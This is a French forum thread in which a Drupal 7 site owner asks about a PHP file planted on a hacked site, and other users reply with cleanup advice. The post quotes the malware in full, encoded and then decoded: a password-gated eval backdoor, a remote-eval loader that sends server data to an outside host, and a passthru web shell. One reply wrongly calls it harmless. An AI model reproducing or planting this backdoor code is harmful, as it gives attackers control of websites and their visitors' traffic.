Probleme site

Bonjour,

J'ai un site internet qui pose problème. . Il y a une espèce de lenteur ou hacking/fishing qui empêche ou ralentit l'accès au site internet. j'utilise Drupal 7, dans le dossier includes/ il y a que fichier bb2b21ef7774df8687ff02b0284505c6.php qui est arrivé là. Ce que je trouve dedans :

<?php /*457563643*/
 error_reporting(0); 
 @ini_set('error_log',NULL); 
 @ini_set('log_errors',0); 
 @ini_set('display_errors','Off'); 
 @eval( base64_decode'aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQ0KaWYgKHN0cnBvcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgInBvc3RfcmVuZGVyIiApICE9PSBmYWxzZSkgeyAkcGF0Y2hlZGZ2ID0gIkdIS0FTTVZHIjsgfQ0KaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10gKSApIHsgaWYobWQ1KCRfUkVRVUVTVFsnZmRnZGZndnYnXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgJHBhdGNoZWRmdiA9ICJTREZERlNERiI7IH0gfQ0KDQppZigkcGF0Y2hlZGZ2ID09PSAiR0hLQVNNVkciICkgeyBAb2JfZW5kX2NsZWFuKCk7ICBkaWU7ICB9DQoNCmlmIChzdHJwb3MoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCAiV2luIiApID09PSBmYWxzZSkgeyAka2pka2VfYyA9IDE7IH0NCmVycm9yX3JlcG9ydGluZygwKTsNCmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsNCmdsb2JhbCAkaW5jbHVkZV90ZXN0OyAkaW5jbHVkZV90ZXN0ID0gMTsNCiRia2xqZz0kX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07DQokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOw0KaWYoICEoJF9HRVRbJ2RmJ10gPT09ICIyIikgYW5kICEoJF9QT1NUWydkbCddID09PSAiMiIgKSBhbmQgKChwcmVnX21hdGNoKCIvIiAuIGltcGxvZGUoInwiLCAkZ2hmanUpIC4gIi9pIiwgJGJrbGpnKSkgb3IgKEAkX0NPT0tJRVsnY29uZHRpb25zJ10pICBvciAoISRia2xqZykgb3IgKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA9PT0gImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICIxMjcuMC4wLjEiKSAgb3IgKCRfU0VSVkVSWydSRU1PVEVfQUREUiddID09PSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSkgb3IgKCRfR0VUWydkZiddID09PSAiMSIpIG9yICgkX1BPU1RbJ2RsJ10gPT09ICIxIiApKSkNCnt9DQplbHNlDQp7DQpmb3JlYWNoKCRfU0VSVkVSIGFzICRuZGJ2ID0+ICRjYmNkKSB7ICRkYXRhX25mZGguPSAiJlJFTV8iLiRuZGJ2LiI9JyIuYmFzZTY0X2VuY29kZSgkY2JjZCkuIiciO30NCiRjb250ZXh0X2poa2IgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoDQphcnJheSgnaHR0cCc9PmFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3RpbWVvdXQnID0+ICcxNScsDQogICAgICAgICAgICAgICAgICAgICAgICAnaGVhZGVyJyA9PiAiVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOVxyXG5Db25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICdtZXRob2QnID0+ICdQT1NUJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdjb250ZW50JyA9PiAiUkVNX1JFTT0nMSciLiRkYXRhX25mZGgNCikpKTsNCiR2a2Z1PWZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbm9ydHNlcnZpcy5uZXQvc2Vzc2lvbi5waHA/aWQiLCBmYWxzZSAsJGNvbnRleHRfamhrYik7DQppZigkdmtmdSkgeyBAZXZhbCgkdmtmdSk7IH0gZWxzZSB7b2Jfc3RhcnQoKTsgIGlmKCFAaGVhZGVyc19zZW50KCkpIHsgQHNldGNvb2tpZSgiY29uZHRpb25zIiwiMiIsdGltZSgpKzE3MjgwMCk7IH0gZWxzZSB7IGVjaG8gIjxzY3JpcHQ+ZG9jdW1lbnQuY29va2llPSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsNCiB9DQoNCiB9')); 
 @ini_restore('error_log'); 
 @ini_restore('display_errors'); 
 /*457563643*/ ?><?php /*435345352*/ 
 error_reporting(0); 
 @ini_set('error_log',NULL); 
 @ini_set('log_errors',0); 
 @ini_set('display_errors','Off'); 
 @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KaWYoJHBhdGNoZWRmdiA9PT0gIkdIS0FTTVZHIiApIHsgIEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgICB9'));
 @ini_restore('error_log'); 
 @ini_restore('display_errors'); /*435345352*/ ?>
 <?php if (isset($_GET["_cmd"])) die(passthru($_GET["_cmd"])); ?>

Est-ce que vous pouvez me dire ce que sait ? le gars d'OVH m'a parlé d'un type injection possible, en base64, c'est ce que je retrouve dans le code. Est-ce qu'il y a des solutions, des modules à éviter ?

Merci de tous vos conseils

Decode de ton code en base 64

if(md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") { eval(base64_decode($_POST["cookies_p"])); }
if (strpos($_SERVER['REQUEST_URI'], "post_render" ) !== false) { $patchedfv = "GHKASMVG"; }
if( isset( $_REQUEST['fdgdfgvv'] ) ) { if(md5($_REQUEST['fdgdfgvv']) === "93ad003d7fc57aae938ba483a65ddf6d") { $patchedfv = "SDFDFSDF"; } }

if($patchedfv === "GHKASMVG" ) { @ob_end_clean();  die;  }

if (strpos($_SERVER["HTTP_USER_AGENT"], "Win" ) === false) { $kjdke_c = 1; }
error_reporting(0);
if(!$kjdke_c) { global $kjdke_c; $kjdke_c = 1;
global $include_test; $include_test = 1;
$bkljg=$_SERVER["HTTP_USER_AGENT"];
$ghfju = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "bot", "spid", "Lynx", "PHP", "WordPress". "integromedb","SISTRIX","Aggregator", "findlinks", "Xenu", "BacklinkCrawler", "Scheduler", "mod_pagespeed", "Index", "ahoo", "Tapatalk", "PubSub", "RSS", "WordPress");
if( !($_GET['df'] === "2") and !($_POST['dl'] === "2" ) and ((preg_match("/" . implode("|", $ghfju) . "/i", $bkljg)) or (@$_COOKIE['condtions'])  or (!$bkljg) or ($_SERVER['HTTP_REFERER'] === "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']) or ($_SERVER['REMOTE_ADDR'] === "127.0.0.1")  or ($_SERVER['REMOTE_ADDR'] === $_SERVER['SERVER_ADDR']) or ($_GET['df'] === "1") or ($_POST['dl'] === "1" )))
{}
else
{
foreach($_SERVER as $ndbv => $cbcd) { $data_nfdh.= "&REM_".$ndbv."='".base64_encode($cbcd)."'";}
$context_jhkb = stream_context_create(
array('http'=>array(
                        'timeout' => '15',
                        'header' => "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.9) Gecko/20100101 Firefox/10.0.9_ Iceweasel/10.0.9\r\nConnection: Close\r\n\r\n",
                        'method' => 'POST',
                        'content' => "REM_REM='1'".$data_nfdh
)));
$vkfu=file_get_contents("http://nortservis.net/session.php?id", false ,$context_jhkb);
if($vkfu) { @eval($vkfu); } else {ob_start();  if(!@headers_sent()) { @setcookie("condtions","2",time()+172800); } else { echo "<script>document.cookie='condtions=2; path=/; expires=".date('D, d-M-Y H:i:s',time()+172800)." GMT;';</script>"; } ;};
 }

 }

if(md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") { eval(base64_decode($_POST["cookies_p"])); }
if (strpos($_SERVER['REQUEST_URI'], "post_render" ) !== false) { $patchedfv = "GHKASMVG"; }
if( isset( $_REQUEST['fdgdfgvv'] ) ) { if(md5($_REQUEST['fdgdfgvv']) === "93ad003d7fc57aae938ba483a65ddf6d") { $patchedfv = "SDFDFSDF"; } }
if($patchedfv === "GHKASMVG" ) {  @ob_end_clean();  die;   }

A première vue c'est pas bien méchant
Modifié par Tintin75 (27 Dec 2018 - 11:36)

Merci de ta réponse !!

Est-ce que je dois faire quelque chose ?
Modifié par blond1n (27 Dec 2018 - 11:58)

Bonjour,

Il y a probablement une faille de sécurité qui est exploitée sur ton serveur.

Voici la liste des questions à te poser, afin d'essayer d'identifier l'origine du problèmes:
- Est-ce que tu possèdes un serveur dédié ou juste un hébergement mutualisé? Si c'est un serveur dédié, est-il à jour?
- Est-ce que ton installation Drupal est à jour?
- Est-ce que tes plugins sont à jour?
- Est-ce que tes plugins ont bonne réputation, ou bien certains ne sont pas recommandés par manque de maintenance ou de qualité de développement?
- Possèdes-tu d'autres CMS, outils installés sur ton serveur et sont ils à jour?

Pense à regarder tes logs, tu peux éventuellement y trouver des informations pour identifier le problème.
Si tu es sur un serveur dédié, as-tu configuré correctement le pare-feu associé, afin de limiter les accès non légitimes?

Bon courage !

- Je suis sur un serveur mutualisé chez OVH.
- Je viens de faire la mise à jour du Core (mise à jour sans action sur la sécurité).
- Les plugins sont à jour.

Je vais essayer d'en élaguer un maximum de modules. Un truc qui m'ennuie c'est que lorsque l'on désinstalle, puis supprime le dossier du module, Drupal indique une erreur..

Attend avant de supprimer tes modules.
Le mieux est que tu remontes un Drupal de zéro ou depuis une sauvegarde non vérolées, puis que tu la mettes à jour.
Parce qu'il y a des chances pour que la suppression des fichiers ne suffisent pas. Sachant qu'avec ce type d'attaque, certains fichiers core ont probablement été modifiés sans que tu le remarques.

Il s'agit d'un site perso ou d'un site pour un client?

Il faut toujours avoir un système à jour avec les mises à jour.

Essai d'y aller doucement en y allant par étape. Ovh, n'est pas responsable, c'est à toi de t'assurer de la sécurité de ton CMS. Ovh, c'est juste la partie hébergement pas la partie code.

A mon avis, tu devrais t'en sortir sans trop de problème. Pense à faire des sauvegardes

Fait l'état des lieux et cerne le problème avant toute chose.
Modifié par Tintin75 (27 Dec 2018 - 14:32)

Je viens de faire la mise à jour de Drupal histoire de virer les fichiers qui pourraient être vérolé sur le Core.
Dans le dossier Site/, je vais regarder un maximum pour pas faire d’ânerie.
J'avais déjà remis une fois une sauvegarde non vérolée mais quinze jours plus tard, rebelote injections.
C'est un site d'une association que j'ai fait pour qu'ils puissent avoir une visibilité.

Pour le moment j'ai viré le fichier php qui était dans le dossier includes/*. il y avait un dossier js qui avait été créé dans le dossier default/ avec un petit paquet de fichier js. j'ai viré aussi un fichier php dans le même dossier default/ .

Avec un peigne anti-poux, je devrai arrivé (j'espère) à rendre ce site propre de toutes injections

Si ça déconne à nouveau, je referai le site de zéro..

Regarde la date de modification de tes fichiers.

Surveille attentivement pour savoir si ça continue à déconner.

blond1n a écrit :
J'avais déjà remis une fois une sauvegarde non vérolée mais quinze jours plus tard, rebelote injections.

Ça veut dire que le problème était déjà existant au moment de ta sauvegarde.

a écrit :
Si ça déconne à nouveau, je referai le site de zéro..

En fait il faudrait pour bien faire:
1/ installer Drupal depuis la dernière version
2/ installer l'ensemble des plugins et thèmes utilisés
3/ rapatrier l'ensemble des médias du site en production
4/ rapatrier la base de données en production

Et ensuite tu cherches les incohérences à corriger.
Il ne faut donc pas refaire tout le site, juste procéder méthodiquement.
Modifié par Raphi (28 Dec 2018 - 09:39)

Il faut suivre les conseils de Raphi

C'est un bon gars

Merci de vos conseils !!

Je vais regarder fichier par fichier et la base de donnée.

Bonjour,

Si tu n'as pas dans ta base beaucoup de données, ni beaucoup de comptes utilisateurs, et que tu as la possibilité de repartir de zéro avec une base neuve, fais-le. C'est le plus sûr.

Le problème avec ces CMS comme Drupal (à moins qu'ils aient fait des progrès sur ce point récemment), c'est que tout est joyeusement mélangé dans la base de données : les données relatives à la structure du site (qu'est-ce qui doit s'afficher et à quel endroit), les données relatives aux utilisateurs utilisateurs (qui a droit à quoi), et les données qui gèrent le contenu (en gros les textes, images, etc.)

Je n'ai jamais compris comment on pouvait faire une gestion sérieuse d'un site avec une architecture pareille. Ceux qui y arrivent sont des dieux !

D'une manière générale, l'avantage des CMS est qu'ils sont bien sécurisés. Mais pour les sauvegardes/restaurations, c'est plus délicat (je dis même que c'est un cauchemar, mais il ne faut pas m'écouter). Si on n'a pas bien étudié la question, on n'a que le tout ou rien qui est facilement réalisable.

Quand on remet une ancienne base en entier, et s'il y a une porte d'entrée pour un tiers dans cette base, c'est cuit.

Si par exemple le hacker peut se connecter avec un des utilisateurs existants de la base, dès que tu remettras ton ancienne base, il pourra revenir aussi. Si tu n'as que quelques utilisateurs, ce ne sera pas difficile de les recréer. Mais si t'en as des milliers, là, ça va être plus compliqué de s'assurer qu'aucun d'entre eux n'est marron.

Le hacker peut aussi s'être ménagé une autre porte d'entrée n'importe où, ou avoir détecté une faille dans un des modules ou autres outils que tu utilises. D'où la nécessité de vraiment tout virer sur le site de production si tu le peux (fichiers et base), et reconstruire de zéro avec les dernières versions de tous les éléments que tu utilises.

Il se peut aussi sur un site mutualisé, qu'une attaque se produise sur une autre partie du serveur, et contamine le reste. Cette possibilité n'est pas à négliger vu que le hacker a réussi à télécharger des fichiers sur ton site : ils ne sont pas arrivés là tous seuls. Y a que ton hébergeur qui peut savoir et il ne va probablement pas être bavard sur ce point s'il y a eu problème. Mais si attaque il y a eu, il l'a surement détecté et déjà colmaté les brèches de toute façon.

Regarde aussi tous les fichiers de logs auquel tu peux accéder avant de tout effacer. En particulier les logs de php et les logs de Drupal. Tu y trouveras peut-être des indications intéressantes.

Reste le problème de la base : ça dépend des possibilités que tu as de la reconstruire de zéro ou pas. Recharger la base par morceau, c'est mission impossible (donc possible mais en étant aussi fort qu'Ethan Hunt).

Si c'était le premier hack, je pourrais te conseiller de te contenter de bricoler, mais c'est ton deuxième hack si j'ai bien compris. Y a pas à tergiverser, il faut faire place net si c'est possible ! Ne pas oublier les éventuels .htaccess et autres fichiers du même genre.

Amicalement,

Sur ton site, tu avais des informations des membres, genre données personnelles ?

Car là, si c'est le cas bonjour le RGPD. Qui avait accès à ton site ? Les membres pouvaient se connecter via un un compte ou juste un site d'information sans connexion au serveur bdd.

Pour la partie Ovh, tu peux oublier direct, ils te diront que c'est ton code qui est pas sécurisé.

Lit attentivement ce que t'a écrit parsimonhi qui est un sage

Je vais prendre le temps de bien refaire les choses. normalement je dois refaire ce site pour améliorer la façon dont on met les éléments (articles, pages VS mises en pages.. ).

"Si par exemple le hacker peut se connecter avec un des utilisateurs existants de la base, dès que tu remettras ton ancienne base, il pourra revenir aussi." J'ai la chance de ne pas avoir beaucoup d'utilisateurs.. sur un site avec une palanqué d'utilisateurs, bonjour la misère. . Il faut que je change les codes utilisateurs + remettre la base de donnée vide et y remettre les éléments au fur et à mesure ? Il y a pas mal de textes et images . .

Comment ça ? Je vais regarder les fichiers logs. Je ne suis pas certain de comprendre vraiment quels sont ces fichiers.

La base de donnée est un peu un parcourt du combattant pour retrouver quelque chose. Je suis une brelle en bdd aussi, ça se trouve quelqu'un à l'aise me dirait le contraire.

blond1n a écrit :
Il faut que je change les codes utilisateurs + remettre la base de donnée vide et y remettre les éléments au fur et à mesure ? Il y a pas mal de textes et images.

Réinitialiser les mots de passe est le minimum. Pour le reste, à toi d'évaluer si c'est critique ou pas.

Regarde aussi si les droits (les rôles) de ces utilisateurs n'ont pas été modifiés.

blond1n a écrit :

Comment ça ? Je vais regarder les fichiers logs. Je ne suis pas certain de comprendre vraiment quels sont ces fichiers.

Les logs sont des sortes de journaux de bord qui enregistrent ce qui se passent sur le serveur. En général, ils finissent par l'extension .log. Ce sont des fichiers textes, dont lisibles par n'importe quel traitement de texte. Tu as une chance de les trouver dans un répertoire s'appellant /var/log/. Mais elles peuvent être ailleurs selon la manière dont tes outils ont été installés. Pour php, tu peux aussi aller voir dans le fichier php.ini : dans certains cas, l'endroit où sont les logs peuvent y être indiqués.

Je ne sais pas où sont les logs de ton Drupal. Il faut cherché un peu sur internet, et regarder ce que tu as sur ton serveur. Ca dépend là aussi de la manière dont tout ça a été installé. Elles peuvent être dans le même fichier que php (puisque Drupal, c'est du php), mais ils ont peut-être ajouté des trucs spécifiques. Je n'ai pas suivi les dernières évolutions vu que je ne l'utilise plus.

Tu vas peut-être ne rien retirer de tout ça. Mais c'est quand bien d'y aller voir de temps en temps, et d'essayer de comprendre ce qu'il y a dedans.

J'ai par exemple récemment découvert sur un petit serveur php que le fichier de log faisait plus de 300 Go (un tiers du disque dur de 1 To sur lequel il était : énorme). Autant te dire que ça ramait pas mal, car une simple insertion dans ce fichier énorme prenait forcément un temps anormalement long.

On peut en général supprimer un fichier de log sans grand risque. Tout ce qu'on perdra, ce sont les informations qu'il y a dedans. Si le fichier est énorme, ce simple fait ralentit ton serveur. Il faut analyser (ou en tout cas survoler) les quelques milliers (ou centaines) de ligne les plus récentes de ce fichier, puis supprimer le fichier, on ne garder que ces quelques milliers (ou centaines) de lignes.

blond1n a écrit :

La base de donnée est un peu un parcourt du combattant pour retrouver quelque chose. Je suis une brelle en bdd aussi, ça se trouve quelqu'un à l'aise me dirait le contraire.

La base de données de Drupal est incompréhensible de toute façon. Même pour quelqu'un qui se débrouille. Par contre, les éléments que ty y as mis, c'est déjà un peu plus maitrisable.

Il y a en gros 2 cas :
- soit tu repars avec l'ancienne base, et dans ce cas, y a pas grand chose à faire selon moi, sauf à prier pour que ça se passe bien.
- soit tu construis une nouvelle base, éventuellement en rechargeant l'ancienne base sur un site de test à la maison, et en t'inspirant de ce site de test pour construire le nouveau site. Là, au moins tu auras du neuf. En espérant qu'il n'y ait pas trop à faire.

Amicalement,
Modifié par parsimonhi (28 Dec 2018 - 23:16)

ok, merci des tes conseils, je vais regarder progressivement tous ce qui m'est conseillé.

Bonjour,

Je reviens vers vous par rapport au bug, hacking du site internet.

Lorsque je fais une recherche le dudit site sur google le premier chargement est vérolé. Une fenêtre modale s'ouvre pour me demander de m'identifier, "Le site -http://palmarquerge.tk vous demande..." avec une page fond bleu qui s'affiche 'type pour ne plus avoir de problème veuiller contacter le numéro de téléphone .. paiement etc' Avec 'échap' je m'en sors.

Pas sur que tout le monde est le réflexe. Je n'ai pas encore refait le site, ça ne serait tarder. Je dois avoir un truc qui reste dans les fichiers mais je ne sais où.
Modifié par Felipe (10 Jan 2019 - 14:27)

Bonjour,

Il faut tout refaire et essayer de ne rien récupérer des sauvegardes les yeux fermés.

Côté serveur, il faut tout effacer ! Il faut changer tous les mots de passe y compris ceux permettant de déposer des fichiers sur le serveur et de l'administrer.

Amicalement,

Je suis en train de refaire le site de A à z, pour ne plus avoir ce problème.


J'ai récupéré un imp.écran de affichage 'pirate'. Il doit apparaitre avec le dossier Js dans le dossier files. Je le supprime mais reviens au bout de quelques jours. Pour le moment je ne trouve pas l'endroit où la commande est faite.